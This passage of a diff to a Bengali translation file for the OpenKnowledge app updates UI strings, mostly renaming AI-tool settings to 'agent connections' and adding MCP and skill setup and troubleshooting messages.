এর সেটআপ গাইডে ম্যানুয়াল ধাপগুলো আছে।"+#: src/editor/extensions/JsxComponentView.tsxmsgid "{descriptorLabel} — render error, source editable below"msgstr "{descriptorLabel} — রেন্ডার ত্রুটি, সোর্স নিচে সম্পাদনাযোগ্য"@@ -650,7 +705,7 @@ msgstr "{displayName} ({bin}) ইনস্টল করা নেই বা আ#: src/components/handoff/OpenInAgentContextSubmenu.tsx#: src/components/handoff/OpenInAgentEmptySpaceSubmenu.tsx#: src/components/handoff/OpenInAgentMenu.tsx-#: src/components/settings/ConfigureAgentsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsxmsgid "{displayName} CLI"msgstr "{displayName} CLI"@@ -660,7 +715,7 @@ msgid "{displayName} CLI, {hint}"msgstr "{displayName} CLI, {hint}"#: src/components/handoff/agent-launcher-labels.tsx-#: src/components/settings/ConfigureAgentsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsxmsgid "{displayName} Desktop"msgstr "{displayName} Desktop"@@ -1060,10 +1115,6 @@ msgstr "<{componentName}> একটি পরিচিত কম্পোনেmsgid "<{descriptorLabel}> failed to render (likely a bad prop). Copy the source to see what went wrong, or delete the block."msgstr "<{descriptorLabel}> রেন্ডার করা যায়নি (সম্ভবত একটি ভুল প্রপ)। কী ভুল হয়েছে দেখতে সোর্স কপি করুন, নয়তো ব্লকটি মুছে দিন।"-#: src/components/settings/AiToolsSection.tsx-msgid "<0>~/.ok/bin</0> and <1>~/.ok/env.sh</1> stay either way — the app always maintains them."-msgstr "<0>~/.ok/bin</0> ও <1>~/.ok/env.sh</1> দুই ক্ষেত্রেই থেকে যায় — অ্যাপ সবসময় সেগুলো রক্ষণাবেক্ষণ করে।"-#: src/editor/components/Mirror.tsxmsgid "<0>Mirror — pick a source.</0> Set <1>src</1> + <2>anchor</2> via the property panel to point at a <3><MirrorSource></3> elsewhere."msgstr "<0>মিরর — একটি উৎস বাছুন।</0> অন্য কোথাও থাকা কোনো <3><MirrorSource></3>-এর দিকে নির্দেশ করতে প্রপার্টি প্যানেল থেকে <1>src</1> + <2>anchor</2> নির্ধারণ করুন।"@@ -1489,6 +1540,14 @@ msgstr "{keyName}-এ আইটেম যোগ করুন"msgid "Add link"msgstr "লিংক যোগ করুন"+#: src/components/settings/AgentConnectionsSection.tsx+msgid "Add MCP & skill"+msgstr "MCP ও স্কিল যোগ করুন"++#: src/components/settings/AgentConnectionsSection.tsx+msgid "Add MCP & skill for {rowLabel}"+msgstr "{rowLabel} এর জন্য MCP ও স্কিল যোগ করুন"+#: src/components/settings/SearchSection.tsxmsgid "Add meaning-based ranking to search so conceptually-related pages surface even when they share no keywords."msgstr "অনুসন্ধানে অর্থভিত্তিক ক্রম যোগ করুন যাতে ধারণাগতভাবে সম্পর্কিত পাতাগুলো অভিন্ন কীওয়ার্ড না থাকলেও সামনে আসে।"@@ -1527,10 +1586,9 @@ msgstr "ট্যাব যোগ করুন"msgid "Add tag"msgstr "ট্যাগ যোগ করুন"-#. Checkbox in Settings → AI tools & CLI that adds the ok CLI to the user's shell PATH#. Toggle in the first-launch dialog that adds the ok CLI to the user's shell PATH#: src/components/McpConsentDialogBody.tsx-#: src/components/settings/AiToolsSection.tsx+#: src/components/settings/OkCliPathRow.tsxmsgid "Add the <0>ok</0> command to your terminal"msgstr "আপনার টার্মিনালে <0>ok</0> কমান্ড যোগ করুন"@@ -1564,16 +1622,15 @@ msgstr "এই বার্তায় আপনার মন্তব্যmsgid "Added"msgstr "যোগ করা হয়েছে"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Adds a global OpenKnowledge MCP entry for this agent."+msgstr "এই এজেন্টের জন্য একটি গ্লোবাল OpenKnowledge MCP এন্ট্রি যোগ করে।"+#: src/components/McpConsentDialogBody.tsx-#: src/components/settings/AiToolsSection.tsx+#: src/components/settings/OkCliPathRow.tsxmsgid "Adds a managed block to"msgstr "এতে একটি পরিচালিত ব্লক যোগ করে"-#. placeholder {0}: status.path.rcFilesToTouch.join(', ')-#: src/components/settings/AiToolsSection.tsx-msgid "Adds a managed block to {0}"-msgstr "{0}-এ একটি পরিচালিত ব্লক যোগ করে"-#. Subtext under the project AI-tools checkbox#: src/components/ProjectAiToolsField.tsxmsgid "Adds an OpenKnowledge MCP entry and the project skill to <0>{toolList}</0>, so your agents can read and edit your files."@@ -1584,6 +1641,20 @@ msgstr "<0>{toolList}</0>-এ OpenKnowledge-এর MCP এন্ট্রি এmsgid "Adds an OpenKnowledge MCP entry to <0>{connectToolList}</0>, so your agents can read and edit your files."msgstr "<0>{connectToolList}</0>-এ OpenKnowledge-এর MCP এন্ট্রি যোগ করে, যাতে আপনার এজেন্ট আপনার ফাইল পড়তে ও সম্পাদনা করতে পারে।"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Adds an OpenKnowledge MCP entry to this project's agent config."+msgstr "এই প্রকল্পের এজেন্ট কনফিগারেশনে একটি OpenKnowledge MCP এন্ট্রি যোগ করে।"++#. js-lingui-explicit-id+#: src/lib/agent-guidance-copy.ts+msgid "guidance.mcp.user-config"+msgstr "{agent}-এর নিজস্ব MCP কনফিগে OpenKnowledge যোগ করে, যাতে এই মেশিনের প্রতিটি প্রকল্পে পৌঁছানো যায়।"++#. js-lingui-explicit-id+#: src/lib/agent-guidance-copy.ts+msgid "guidance.mcp.project-config"+msgstr "এই প্রকল্পে {agent} যে MCP কনফিগ পড়ে তাতে OpenKnowledge যোগ করে, যাতে এটি এই নথিগুলো পড়তে, খুঁজতে ও সম্পাদনা করতে পারে।"+#: src/components/ReportBugDialogBody.tsxmsgid "Adds telemetry, server state, and runtime info when available. Credentials are always removed; document names, if included, appear in cleartext (not redacted)."msgstr "পাওয়া গেলে টেলিমেট্রি, সার্ভারের অবস্থা ও রানটাইম তথ্য যোগ করে। ক্রেডেনশিয়াল সবসময় সরিয়ে ফেলা হয়; নথির নাম, যদি অন্তর্ভুক্ত থাকে, সাদা লেখায় দেখা যায় (সরানো হয় না)।"@@ -1636,6 +1707,11 @@ msgstr "এজেন্ট চ্যাট"msgid "Agent configuration file"msgstr "এজেন্ট কনফিগারেশন ফাইল"+#: src/components/settings/AgentConnectionsSection.tsx+#: src/components/settings/SettingsDialogShell.tsx+msgid "Agent connections"+msgstr "এজেন্ট সংযোগ"+#: src/components/acp/ThreadView.tsxmsgid "Agent mode"msgstr "এজেন্ট মোড"@@ -1657,23 +1733,14 @@ msgid "Agent transcript"msgstr "এজেন্ট প্রতিলিপি"#: src/components/ExploreSkills.tsx+#: src/components/settings/SettingsDialogShell.tsxmsgid "Agents"msgstr "এজেন্ট"-#: src/components/settings/AiToolsSection.tsx-msgid "AI tool management is only available in the OpenKnowledge desktop app."-msgstr "AI টুল ব্যবস্থাপনা শুধু OpenKnowledge ডেস্কটপ অ্যাপেই আছে।"--#: src/components/settings/ProjectAiToolsSection.tsx#: src/components/settings/SettingsDialogShell.tsxmsgid "AI tools"msgstr "AI টুল"-#: src/components/settings/AiToolsSection.tsx-#: src/components/settings/SettingsDialogShell.tsx-msgid "AI tools & CLI"-msgstr "AI টুল ও CLI"-#: src/editor/bubble-menu/ImageAlignButtons.tsxmsgid "Align center"msgstr "মাঝে সারিবদ্ধ করুন"@@ -2393,14 +2460,6 @@ msgstr "কলআউট মূল তথ্যের দিকে মনোযmsgid "Can't nest projects. An OpenKnowledge project already exists at <0>{rootPath}</0>. Choose a location outside it, or open that project instead."msgstr "প্রকল্পের ভেতরে প্রকল্প রাখা যায় না। <0>{rootPath}</0>-এ আগে থেকেই একটি OpenKnowledge প্রকল্প আছে। এর বাইরে কোনো জায়গা বাছুন, নয়তো সেই প্রকল্পটিই খুলুন।"-#: src/components/settings/ProjectAiToolsSection.tsx-msgid "Can't safely edit this project config"-msgstr "এই প্রকল্পের কনফিগ নিরাপদে সম্পাদনা করা যাচ্ছে না"--#: src/components/settings/AiToolsSection.tsx-msgid "Can't safely edit this tool's config"-msgstr "এই টুলের কনফিগ নিরাপদে সম্পাদনা করা যাচ্ছে না"-#: src/lib/share/run-share-action.tsmsgid "Can't share this path."msgstr "এই পাথ শেয়ার করা যাচ্ছে না।"@@ -2429,6 +2488,7 @@ msgstr "এই পাথ শেয়ার করা যাচ্ছে না#: src/components/PublishToGitHubDialog.tsx#: src/components/ReportBugDialogBody.tsx#: src/components/SeedDialog.tsx+#: src/components/settings/AgentConnectionDialogs.tsx#: src/components/settings/LinkPreviewsSection.tsx#: src/components/settings/LintingSection.tsx#: src/components/settings/NetworkAccessSection.tsx@@ -2655,6 +2715,15 @@ msgstr "আইকন বেছে নিন"msgid "Choose what a new tab starts"msgstr "নতুন ট্যাব কী চালু করবে তা বেছে নিন"+#. placeholder {0}: connection.label+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Choose what OpenKnowledge sets up for {0}."+msgstr "OpenKnowledge {0}-এর জন্য কী সেট আপ করবে তা বেছে নিন।"++#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Choose what OpenKnowledge sets up."+msgstr "OpenKnowledge কী সেট আপ করবে তা বেছে নিন।"+#: src/comments/CommentSendFooter.tsxmsgid "Choose where to send these comments"msgstr "এই মন্তব্যগুলো কোথায় পাঠাবেন তা বাছুন"@@ -2667,9 +2736,9 @@ msgstr "এই বার্তাটি কোথায় পাঠাবেনmsgid "Choose whether this project's OpenKnowledge setup, including its AI-tool connections, is saved with the project so teammates get it too, or kept only on your computer."msgstr "বাছুন এই প্রকল্পের OpenKnowledge সেটআপ, তার AI-টুল সংযোগসহ, প্রকল্পের সঙ্গে সংরক্ষিত হবে যাতে সহকর্মীরাও তা পান, নাকি শুধু আপনার কম্পিউটারেই রাখা হবে।"-#: src/components/settings/ConfigureAgentsSection.tsx-msgid "Choose which agents appear in agent menus across the app, such as Ask AI, Open with AI, and the + new chat button. Turn an agent off to hide it from all of them."-msgstr "অ্যাপ জুড়ে এজেন্ট মেনুতে কোন এজেন্টগুলি দেখা যাবে তা বেছে নিন, যেমন Ask AI, Open with AI এবং + নতুন চ্যাট বোতাম। কোনো এজেন্ট বন্ধ করলে সেটি এই সবগুলি থেকে লুকিয়ে যাবে।"+#: src/components/settings/AgentConnectionsSection.tsx+msgid "Choose which agents appear in agent menus across the app, and set them up to read and update your documents."+msgstr "অ্যাপ জুড়ে এজেন্ট মেনুতে কোন এজেন্টগুলি দেখা যাবে তা বেছে নিন, এবং সেগুলি এমনভাবে সেট আপ করুন যাতে তারা আপনার নথি পড়তে ও আপডেট করতে পারে।"#. Section label above the light/dark/system cards in the first-launch dialog#: src/components/McpConsentDialogBody.tsx@@ -3143,7 +3212,6 @@ msgstr "কনফিগারেশন সতর্কতা"#: src/components/handoff/OpenInAgentContextSubmenu.tsx#: src/components/handoff/OpenInAgentEmptySpaceSubmenu.tsx#: src/components/handoff/OpenInAgentMenu.tsx-#: src/components/settings/ConfigureAgentsSection.tsx#: src/components/settings/SettingsDialogShell.tsx#: src/components/TerminalNewChatButton.tsxmsgid "Configure agents"@@ -3208,10 +3276,6 @@ msgstr "চালিয়ে যেতে GitHub যুক্ত করুনmsgid "Connect OpenKnowledge to other tools you use."msgstr "OpenKnowledge-কে আপনার ব্যবহৃত অন্য টুলের সঙ্গে যুক্ত করুন।"-#: src/components/settings/ProjectAiToolsSection.tsx-msgid "Connect the AI tools you use to this specific project. These files live in the project folder, so anyone who opens it gets the same setup."-msgstr "আপনি যে AI টুলগুলো ব্যবহার করেন সেগুলোকে এই নির্দিষ্ট প্রকল্পের সঙ্গে যুক্ত করুন। এই ফাইলগুলো প্রকল্পের ফোল্ডারেই থাকে, তাই যে-ই এটি খুলুক একই সেটআপ পায়।"-#: src/components/EditorTabTargetMenuItems.tsx#: src/components/FileSidebar.tsx#: src/components/FileTree.tsx@@ -3240,6 +3304,10 @@ msgstr "আপনার AI টুল যুক্ত করুন"msgid "Connect your AI tools to this project"msgstr "আপনার AI টুলগুলিকে এই প্রকল্পের সঙ্গে যুক্ত করুন"+#: src/components/settings/AgentConnectionsSection.tsx+msgid "Connected"+msgstr "যুক্ত"+#. placeholder {0}: response.dimensions#: src/components/settings/SearchSection.tsxmsgid "Connected — this endpoint returns {0}-dimension vectors."@@ -3288,10 +3356,18 @@ msgstr "সংযোগ ত্রুটি — আবার চেষ্টাmsgid "Connection lost — keep this tab open, your edits will sync when reconnected"msgstr "সংযোগ হারিয়েছে — এই ট্যাব খোলা রাখুন, পুনরায় যুক্ত হলে আপনার সম্পাদনা সিঙ্ক হবে"-#. Next step for a Codex project MCP row-#: src/components/settings/ProjectAiToolsSection.tsx-msgid "Connects automatically the next time you open this project in a trusted Codex session."-msgstr "পরের বার কোনো বিশ্বস্ত Codex সেশনে এই প্রকল্প খুললে এটি নিজে থেকেই যুক্ত হয়।"+#. js-lingui-explicit-id+#: src/lib/agent-followup-hint.ts+msgid "followup.trust-gated"+msgstr "পরের বার কোনো বিশ্বস্ত {agent} সেশনে এই প্রকল্প খুললে এটি নিজে থেকেই যুক্ত হয়।"++#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Connects the agent to OpenKnowledge in every project on this machine."+msgstr "এই যন্ত্রের প্রতিটি প্রকল্পে এজেন্টকে OpenKnowledge-এর সঙ্গে যুক্ত করে।"++#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Connects the agent to this project so it can read, search, and edit your documents."+msgstr "এজেন্টকে এই প্রকল্পের সঙ্গে যুক্ত করে, যাতে এটি আপনার নথি পড়তে, খুঁজতে ও সম্পাদনা করতে পারে।"#: src/components/acp/working-status.tsmsgid "Contemplating…"@@ -3659,9 +3735,8 @@ msgid "Couldn't add that comment."msgstr "ওই মন্তব্যটি যোগ করা যায়নি।"#. placeholder {0}: err instanceof Error ? err.message : String(err)-#: src/components/settings/AiToolsSection.tsx#: src/components/settings/BuiltInSkillsSection.tsx-#: src/components/settings/ProjectAiToolsSection.tsx+#: src/components/settings/OkCliPathRow.tsxmsgid "Couldn't apply the change: {0}"msgstr "পরিবর্তনটি প্রয়োগ করা যায়নি: {0}"@@ -3669,6 +3744,10 @@ msgstr "পরিবর্তনটি প্রয়োগ করা যাযmsgid "Couldn't check whether {filePath} is still conflicted — retrying."msgstr "{filePath}-এ এখনও কনফ্লিক্ট আছে কি না যাচাই করা যায়নি — আবার চেষ্টা করা হচ্ছে।"+#: src/components/settings/AgentConnectionsSection.tsx+msgid "Couldn't check which tools are connected."+msgstr "কোন টুল যুক্ত আছে তা যাচাই করা যায়নি।"+#: src/components/settings/SearchSection.tsxmsgid "Couldn't clear the key — please try again."msgstr "কী মুছে ফেলা যায়নি — অনুগ্রহ করে আবার চেষ্টা করুন।"@@ -3944,7 +4023,7 @@ msgstr "সহযোগিতা সার্ভারের নাগাল পmsgid "Couldn't reach GitHub. Try again?"msgstr "GitHub-এর নাগাল পাওয়া যায়নি। আবার চেষ্টা করবেন?"-#: src/components/settings/ConfigureAgentsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsxmsgid "Couldn't reach the agent registry."msgstr "এজেন্ট রেজিস্ট্রির নাগাল পাওয়া যায়নি।"@@ -4397,11 +4476,6 @@ msgstr "কাস্টম এন্ডপয়েন্ট"msgid "Custom HTML with a live preview pane (sandboxed iframe)."msgstr "সরাসরি প্রাকদর্শন প্যানেলসহ কাস্টম HTML (স্যান্ডবক্স করা iframe)।"-#: src/components/settings/AiToolsSection.tsx-#: src/components/settings/ProjectAiToolsSection.tsx-msgid "Custom open-knowledge entry — not managed by OpenKnowledge"-msgstr "কাস্টম open-knowledge এন্ট্রি — OpenKnowledge দ্বারা পরিচালিত নয়"-#: src/components/settings/SkillTargetsPicker.tsxmsgid "Custom skills folder path"msgstr "কাস্টম স্কিল ফোল্ডারের পাথ"@@ -4772,6 +4846,10 @@ msgstr "সংযোগ বিচ্ছিন্ন করুন"msgid "Disconnecting"msgstr "সংযোগ বিচ্ছিন্ন করা হচ্ছে"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Discovery skills are managed for all AI tools together. Install this one from Settings → Skills Studio."+msgstr "ডিসকভারি স্কিলগুলো সব AI টুলের জন্য একসঙ্গে পরিচালিত হয়। সেটিং → স্কিল স্টুডিও থেকে এটি ইনস্টল করুন।"+#: src/components/BranchRecycleBanner.tsx#: src/components/NavigatorApp.tsx#: src/components/OnboardingCard.tsx@@ -5256,17 +5334,17 @@ msgstr "খালি শুরুর বিষয়বস্তু"#. placeholder {0}: agent.name#. placeholder {0}: plugin.label#. placeholder {0}: rule.name-#: src/components/settings/ConfigureAgentsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsx#: src/components/settings/LintingSection.tsx#: src/components/settings/markdownlint-rule-browser.tsxmsgid "Enable {0}"msgstr "{0} চালু করুন"-#: src/components/settings/ConfigureAgentsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsxmsgid "Enable {displayName} CLI"msgstr "{displayName} CLI চালু করুন"-#: src/components/settings/ConfigureAgentsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsxmsgid "Enable {displayName} Desktop"msgstr "{displayName} Desktop চালু করুন"@@ -5412,11 +5490,6 @@ msgstr "একটি বৈধ URL লিখুন, উদাহরণস্বmsgid "Enter the public origin your tunnel serves, for example https://notes.example.com"msgstr "আপনার টানেল যে পাবলিক অরিজিন পরিবেশন করে তা লিখুন, উদাহরণস্বরূপ https://notes.example.com"-#: src/components/settings/AiToolsSection.tsx-#: src/components/settings/ProjectAiToolsSection.tsx-msgid "Entry"-msgstr "এন্ট্রি"-#: src/components/settings/ContentRulesSection.tsxmsgid "Error"msgstr "ত্রুটি"@@ -5559,7 +5632,7 @@ msgstr "এক্সপোজ করলে একটি নির্দিষ্#: src/components/handoff/OpenInAgentContextSubmenu.tsx#: src/components/handoff/OpenInAgentEmptySpaceSubmenu.tsx#: src/components/handoff/OpenInAgentMenu.tsx-#: src/components/settings/ConfigureAgentsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsxmsgid "External apps"msgstr "বাহ্যিক অ্যাপ"@@ -5943,8 +6016,6 @@ msgstr "ফিল্ড"#: src/components/AppMenubar.tsx#: src/components/CommandPalette.tsx-#: src/components/settings/AiToolsSection.tsx-#: src/components/settings/ProjectAiToolsSection.tsx#: src/components/share-metadata-rows.tsx#: src/editor/slash-command/component-items.tsx#: src/lib/native-menu-catalog.ts@@ -6352,9 +6423,9 @@ msgstr "GitHub, একটি git URL, বা একটি স্থানীযmsgid "Give it a name before editing its colors."msgstr "রং সম্পাদনা করার আগে এটিকে একটি নাম দিন।"-#: src/components/settings/AiToolsSection.tsx-msgid "Give the AI tools you use access to read and update your projects. Checking a box sets it up right away; unchecking removes it."-msgstr "আপনি যে AI টুলগুলো ব্যবহার করেন সেগুলোকে আপনার প্রকল্প পড়া ও হালনাগাদ করার অধিকার দিন। একটি বাক্সে টিক দিলেই সেটি সঙ্গে সঙ্গে সেট হয়ে যায়; টিক সরালে সরে যায়।"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Gives the agent instructions for working with your documents and keeps its edits attributed."+msgstr "এজেন্টকে আপনার নথি নিয়ে কাজ করার নির্দেশনা দেয় এবং তার সম্পাদনার কৃতিত্ব বজায় রাখে।"#: src/components/settings/LintingSection.tsxmsgid "Glob patterns this schema applies to"@@ -6366,6 +6437,10 @@ msgstr "এই স্কিমা যে গ্লোব প্যাটারmsgid "Global"msgstr "বৈশ্বিক"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Global MCP server"+msgstr "গ্লোবাল MCP সার্ভার"+#: src/lib/keyboard-shortcuts.tsmsgid "Global outside text fields"msgstr "লেখার ফিল্ডের বাইরে বৈশ্বিক"@@ -6505,6 +6580,7 @@ msgstr "সহায়তা"#. Subtext under the discovery-skill checkbox#: src/components/McpConsentDialogBody.tsx+#: src/components/settings/AgentConnectionDialogs.tsxmsgid "Help your agents discover and use OpenKnowledge in any project."msgstr "আপনার এজেন্টকে যেকোনো প্রকল্পে OpenKnowledge খুঁজে পেতে ও ব্যবহার করতে সাহায্য করুন।"@@ -6714,15 +6790,13 @@ msgstr "এই কম্পিউটার কত ঘন ঘন আপনারmsgid "How to push manually"msgstr "হাতে কীভাবে পাঠাবেন"-#. Link on an undetected tool row to its OpenKnowledge setup guide-#: src/components/settings/AiToolsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsxmsgid "How to set up"msgstr "কীভাবে সেট আপ করবেন"-#. placeholder {0}: editor.label-#: src/components/settings/AiToolsSection.tsx-msgid "How to set up {0} (opens in browser)"-msgstr "{0} কীভাবে সেট আপ করবেন (ব্রাউজারে খোলে)"+#: src/components/settings/AgentConnectionsSection.tsx+msgid "How to set up {rowLabel}"+msgstr "{rowLabel} কীভাবে সেট আপ করবেন"#: src/components/settings/builtin-skill-copy.tsmsgid "How to set up new projects with OpenKnowledge."@@ -6781,6 +6855,21 @@ msgstr "আইডি: {0}"msgid "Identical in both — {pick} still reads them."msgstr "দুই জায়গাতেই এক — {pick} এগুলো পড়তেই থাকবে।"+#. js-lingui-explicit-id+#: src/lib/agent-guidance-copy.ts+msgid "troubleshooting.lm-studio.config-path-mismatch"+msgstr "{agent}-এ OpenKnowledge টুল না দেখালে, দেখুন এর সেটিংসে MCP কনফিগের পথ OpenKnowledge-এর লেখা ফাইলের সাথে মিলছে কি না।"++#. js-lingui-explicit-id+#: src/lib/agent-guidance-copy.ts+msgid "troubleshooting.claude.project-entry-not-approved"+msgstr "{agent}-এ OpenKnowledge টুল না দেখালে, এটি এই প্রকল্পে চালান এবং OpenKnowledge সার্ভারটি একবার অনুমোদন দিন।"++#. js-lingui-explicit-id+#: src/lib/agent-guidance-copy.ts+msgid "troubleshooting.cursor.project-entry-not-loaded"+msgstr "{agent}-এ OpenKnowledge টুল না দেখালে, Settings → Tools & MCP-তে সার্ভারটি চালু করুন; আপনি চালু না করা পর্যন্ত {agent} প্রকল্পের সার্ভার বন্ধ রাখে।"+#: src/components/AutoSyncEnableWarning.tsxmsgid "If an update arrives for something you are editing, you choose which version to keep, like a merge conflict."msgstr "আপনি যা সম্পাদনা করছেন তার জন্য কোনো হালনাগাদ এলে আপনি বেছে নেন কোন সংস্করণটি রাখবেন, ঠিক মার্জ দ্বন্দ্বের মতো।"@@ -6884,7 +6973,7 @@ msgstr "একটি সূচক নথিতে: এন্ট্রিগু#: src/components/handoff/OpenInAgentContextSubmenu.tsx#: src/components/handoff/OpenInAgentEmptySpaceSubmenu.tsx#: src/components/handoff/OpenInAgentMenu.tsx-#: src/components/settings/ConfigureAgentsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsx#: src/components/TerminalNewChatButton.tsxmsgid "In app"msgstr "অ্যাপে"@@ -7071,6 +7160,7 @@ msgid "Insert, delete, move, copy, and indent source editor lines through CodeMimsgstr "CodeMirror-এর ডিফল্ট কীম্যাপ দিয়ে সোর্স সম্পাদকের লাইন ঢোকান, মুছুন, সরান, কপি করুন ও ভেতরে নিন।"#: src/components/InstallInClaudeDesktopDialog.tsx+#: src/components/settings/AgentConnectionsSection.tsx#: src/components/settings/IntegrationsSection.tsx#: src/components/settings/ProjectSkillSection.tsx#: src/components/settings/SkillsStudioIntroDialog.tsx@@ -7092,6 +7182,10 @@ msgstr "{0} ইনস্টল করুন"msgid "Install {brand} →"msgstr "{brand} ইনস্টল করুন →"+#: src/components/settings/AgentConnectionsSection.tsx+msgid "Install {rowLabel}"+msgstr "{rowLabel} ইনস্টল করুন"+#: src/components/settings/SkillTargetsPicker.tsxmsgid "install a skill here first"msgstr "প্রথমে এখানে একটি স্কিল ইনস্টল করুন"@@ -7168,22 +7262,12 @@ msgstr "gh CLI ইনস্টল করুন"msgid "Install this skill"msgstr "এই স্কিলটি ইনস্টল করুন"-#: src/components/settings/AiToolsSection.tsx#: src/components/settings/LintingSection.tsx-#: src/components/settings/ProjectAiToolsSection.tsx#: src/components/SkillEditorActions.tsx#: src/components/SkillPluginBundleDialog.tsxmsgid "Installed"msgstr "ইনস্টল করা আছে"-#: src/components/settings/AiToolsSection.tsx-msgid "Installed — ok is available in external terminals. Unchecking removes it; OpenKnowledge's built-in terminal and AI tools keep working."-msgstr "ইনস্টল করা আছে — ok বাইরের টার্মিনালে পাওয়া যায়। টিক সরালে সেটি সরে যায়; OpenKnowledge-এর নিজস্ব টার্মিনাল ও AI টুল কাজ করতে থাকে।"--#: src/components/settings/AiToolsSection.tsx-msgid "Installed — ok is available in external terminals. Unchecking removes it; your AI tools keep working."-msgstr "ইনস্টল করা আছে — ok বাহ্যিক টার্মিনালে ব্যবহার করা যাবে। টিক চিহ্ন তুলে দিলে এটি সরানো হবে; আপনার AI টুলগুলো কাজ করতে থাকবে।"-#. placeholder {0}: skill.name#. placeholder {1}: label(added)#: src/components/skill-actions.tsx@@ -7241,6 +7325,14 @@ msgstr "আপনার সব প্রকল্পের জন্য ইনmsgid "Installs into this project"msgstr "এই প্রকল্পে ইনস্টল হবে"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Installs the OpenKnowledge discovery skill for this agent."+msgstr "এই এজেন্টের জন্য OpenKnowledge আবিষ্কার স্কিল ইনস্টল করে।"++#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Installs the OpenKnowledge project skill for this agent."+msgstr "এই এজেন্টের জন্য OpenKnowledge প্রকল্প স্কিল ইনস্টল করে।"+#: src/components/SkillInstallMenu.tsxmsgid "Installs the skill to {path} — the first location holds its own copy"msgstr "স্কিলটি {path}-এ ইনস্টল করে — প্রথম অবস্থানটি এর নিজস্ব কপি রাখে"@@ -7639,7 +7731,7 @@ msgstr "{fileName} লোড হচ্ছে"msgid "Loading agent activity"msgstr "এজেন্ট কার্যকলাপ লোড হচ্ছে"-#: src/components/settings/ConfigureAgentsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsxmsgid "Loading agents…"msgstr "এজেন্ট লোড হচ্ছে…"@@ -7862,11 +7954,16 @@ msgstr "listPacks প্রতিক্রিয়ার গঠন ত্রুmsgid "Malformed plan response"msgstr "প্ল্যান প্রতিক্রিয়ার গঠন ত্রুটিপূর্ণ"+#: src/components/settings/AgentConnectionsSection.tsx#: src/components/settings/BuiltInSkillsSection.tsx#: src/components/settings/ProjectSkillSection.tsxmsgid "Manage"msgstr "পরিচালনা করুন"+#: src/components/settings/AgentConnectionsSection.tsx+msgid "Manage {rowLabel}"+msgstr "{rowLabel} পরিচালনা করুন"+#: src/components/EditorTabTargetMenuItems.tsx#: src/components/FileTree.tsxmsgid "Manage hidden files in Settings → Ignore patterns."@@ -7880,13 +7977,10 @@ msgstr "স্কিল ফোল্ডার সামলান"msgid "Manage the GitHub account OpenKnowledge uses to browse and sync your repositories."msgstr "আপনার রিপোজিটরি ব্রাউজ ও সিঙ্ক করতে OpenKnowledge যে GitHub অ্যাকাউন্ট ব্যবহার করে তা সামলান।"-#: src/components/settings/AiToolsSection.tsx-msgid "Managing AI tools is unavailable in this build."-msgstr "এই বিল্ডে AI টুল সামলানো যায় না।"--#: src/components/settings/ProjectAiToolsSection.tsx-msgid "Managing project AI tools is unavailable in this build."-msgstr "এই বিল্ডে প্রকল্পের AI টুল সামলানো যায় না।"+#: src/components/settings/AgentConnectionDialogs.tsx+#: src/components/settings/AgentConnectionsSection.tsx+msgid "Managing agent connections is unavailable in this build."+msgstr "এই বিল্ডে এজেন্ট সংযোগ পরিচালনা করা যায় না।"#: src/components/settings/SyncSection.tsx#: src/components/SyncStatusBadge.tsx@@ -7942,12 +8036,9 @@ msgstr "সর্বোচ্চসংখ্যক এজেন্ট আগেmsgid "MCP auto-repair failed"msgstr "MCP স্বয়ংক্রিয় মেরামত ব্যর্থ হয়েছে"-#. Group label above the per-editor MCP list in Settings → AI tools & CLI — each row wires OpenKnowledge's MCP server into that tool-#. Group label above the per-editor project MCP list in Settings → This project → AI tools-#: src/components/settings/AiToolsSection.tsx-#: src/components/settings/ProjectAiToolsSection.tsx-msgid "MCP connections"-msgstr "MCP সংযোগ"+#: src/lib/install-onboarding-toast.ts+msgid "MCP auto-repair failed for {failures}"+msgstr "{failures}-এর জন্য MCP স্বয়ংক্রিয় মেরামত ব্যর্থ হয়েছে"#: src/components/SkillPluginBundleBanner.tsxmsgid "MCP servers"@@ -8064,6 +8155,10 @@ msgstr "লিংকের লক্ষ্য, অ্যাংকর ও প্msgid "More"msgstr "আরও"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "More information"+msgstr "আরও তথ্য"+#: src/editor/components/PreviewBlockedNotice.tsxmsgid "More requests were blocked."msgstr "আরও অনুরোধ আটকে দেওয়া হয়েছে।"@@ -8533,7 +8628,7 @@ msgstr "এখনও কোনো এজেন্ট সেট আপ করাmsgid "no agents — saved, not installed anywhere"msgstr "কোনো এজেন্ট নেই — সংরক্ষিত, কোথাও ইনস্টল হয়নি"-#: src/components/settings/ConfigureAgentsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsxmsgid "No agents available."msgstr "কোনো এজেন্ট নেই।"@@ -8542,7 +8637,7 @@ msgstr "কোনো এজেন্ট নেই।"msgid "No agents enabled"msgstr "কোনো এজেন্ট চালু নেই"-#: src/components/settings/ConfigureAgentsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsxmsgid "No agents match your search."msgstr "আপনার অনুসন্ধানের সঙ্গে কোনো এজেন্ট মেলে না।"@@ -8906,11 +9001,12 @@ msgstr "উত্তর দেওয়া হয়নি"msgid "Not attached to desktop bridge"msgstr "ডেস্কটপ ব্রিজের সাথে সংযুক্ত নয়"-#: src/components/settings/ConfigureAgentsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsxmsgid "Not available on this platform"msgstr "এই প্ল্যাটফর্মে নেই"#: src/components/settings/AccountSection.tsx+#: src/components/settings/AgentConnectionsSection.tsxmsgid "Not connected"msgstr 